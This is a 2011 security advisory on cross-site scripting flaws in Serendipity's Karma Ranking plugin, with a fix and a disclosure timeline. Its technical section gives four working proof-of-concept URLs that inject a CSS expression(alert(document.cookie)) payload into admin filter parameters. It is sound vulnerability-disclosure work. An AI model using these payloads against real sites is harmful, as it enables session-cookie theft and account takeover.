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SSCHADV2011-017 - Serendipity Plugin 'Karma Ranking' Multiple Cross-Site Scripting vulnerabilities

Advisory:
Serendipity Plugin ‘Karma Ranking’ Multiple Cross-Site Scripting vulnerabilities
Advisory ID:
SSCHADV2011-017
Author:
Stefan Schurtz
Affected Software:
Successfully tested on Serendipity 1.5.5 with Karma Ranking Plugin version 1.1
Vendor URL:
Vendor Status:
fixed
CVE-ID:
-
 
======================
Vulnerability Description:
======================

Multiple parameters in the Karma Ranking plugin (Serendipity backend) are prone to a Cross-Site Scripting vulnerability
 
==============
Technical Details:
==============

Successfully tested with Internet Explorer 8

http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=karmalog&serendipity[adminAction]=karmalog&serendipity[adminModule]=event_display&serendipity[filter][entryid]=’ stYle=‘x:expre/**/ssion(alert(document.cookie)) &serendipity[filter][ip]=3&serendipity[filter][title]=3&serendipity[filter][user_agent]=3&serendipity[sort][order]=votetime&serendipity[sort][ordermode]=DESC&submit=-+Go!+-
 
http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=karmalog&serendipity[adminAction]=karmalog&serendipity[adminModule]=event_display&serendipity[filter][entryid]=3&serendipity[filter][ip]=’ stYle=‘x:expre/**/ssion(alert(document.cookie)) &serendipity[filter][title]=3&serendipity[filter][user_agent]=3&serendipity[sort][order]=votetime&serendipity[sort][ordermode]=DESC&submit=-+Go!+-
 
http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=karmalog&serendipity[adminAction]=karmalog&serendipity[adminModule]=event_display&serendipity[filter][entryid]=3&serendipity[filter][ip]=3&serendipity[filter][title]=’ stYle=‘x:expre/**/ssion(alert(document.cookie)) &serendipity[filter][user_agent]=3&serendipity[sort][order]=votetime&serendipity[sort][ordermode]=DESC&submit=-+Go!+-
 
http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=karmalog&serendipity[adminAction]=karmalog&serendipity[adminModule]=event_display&serendipity[filter][entryid]=3&serendipity[filter][ip]=3&serendipity[filter][title]=3&serendipity[filter][user_agent]=’ stYle=‘x:expre/**/ssion(alert(document.cookie)) &serendipity[sort][order]=votetime&serendipity[sort][ordermode]=DESC&submit=-+Go!+-

=====
Solution:
=====

Upgrade to Serendipity 1.6

================
Disclosure Timeline:
================

22-Sep-2011 – informed developers
27-Oct-2011 – fixed by vendor
02-Nov-2011 – release date of this security advisory
02-Nov-2011 – post on BugTraq

====
Credits:
====

Vulnerability found and advisory written by Stefan Schurtz.

=======
References:
=======

http://www.s9y.org
http://blog.s9y.org/archives/233-Serendipity-1.6-released.html
http://www.rul3z.de/advisories/SSCHADV2011-017.txt

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